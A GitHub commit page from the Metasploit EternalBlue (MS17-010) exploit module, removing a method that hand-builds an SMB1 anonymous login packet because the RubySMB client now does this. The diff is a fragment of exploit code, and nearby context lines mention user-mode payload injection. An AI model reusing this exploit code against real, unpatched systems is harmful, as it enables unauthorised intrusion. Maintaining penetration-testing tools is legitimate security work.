Skip to content

Commit bc8ad81

Browse files
David MaloneyDavid Maloney
authored andcommitted
remove old anonymous login packet
we are now using the anonymous login from the RubySMB client we no longer need this method to manually build the packet
1 parent 238052a commit bc8ad81

File tree

1 file changed

+0
-48
lines changed

1 file changed

+0
-48
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 0 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -615,54 +615,6 @@ def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
615615
pkt
616616
end
617617

618-
def make_smb1_anonymous_login_packet
619-
# Neither Rex nor RubySMB appear to support Anon login?
620-
pkt = ""
621-
pkt << "\x00" # Session message
622-
pkt << "\x00\x00\x88" # length
623-
pkt << "\xffSMB" # SMB1
624-
pkt << "\x73" # Session Setup AndX
625-
pkt << "\x00\x00\x00\x00" # NT SUCCESS
626-
pkt << "\x18" # Flags
627-
pkt << "\x07\xc0" # Flags2
628-
pkt << "\x00\x00" # PID High
629-
pkt << "\x00\x00\x00\x00" # Signature1
630-
pkt << "\x00\x00\x00\x00" # Signature2
631-
pkt << "\x00\x00" # TreeID
632-
pkt << "\xff\xfe" # PID
633-
pkt << "\x00\x00" # Reserved
634-
pkt << "\x00\x00" # UserID
635-
pkt << "\x40\x00" # MultiplexID
636-
637-
pkt << "\x0d" # Word Count
638-
pkt << "\xff" # No further commands
639-
pkt << "\x00" # Reserved
640-
pkt << "\x88\x00" # AndXOffset
641-
pkt << "\x04\x11" # Max Buffer
642-
pkt << "\x0a\x00" # Max Mpx Count
643-
pkt << "\x00\x00" # VC Number
644-
pkt << "\x00\x00\x00\x00" # Session key
645-
pkt << "\x01\x00" # ANSI pw length
646-
pkt << "\x00\x00" # Unicode pw length
647-
pkt << "\x00\x00\x00\x00" # Reserved
648-
pkt << "\xd4\x00\x00\x00" # Capabilities
649-
pkt << "\x4b\x00" # Byte count
650-
pkt << "\x00" # ANSI pw
651-
pkt << "\x00\x00" # Account name
652-
pkt << "\x00\x00" # Domain name
653-
654-
# Windows 2000 2195
655-
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
656-
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00"
657-
pkt << "\x00\x00"
658-
659-
# Windows 2000 5.0
660-
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
661-
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"
662-
663-
pkt
664-
end
665-
666618
# ring3 = user mode encoded payload
667619
# proc_name = process to inject APC into
668620
# ep_thl_b = EPROCESS.ThreadListHead.Blink offset

0 commit comments

Comments
 (0)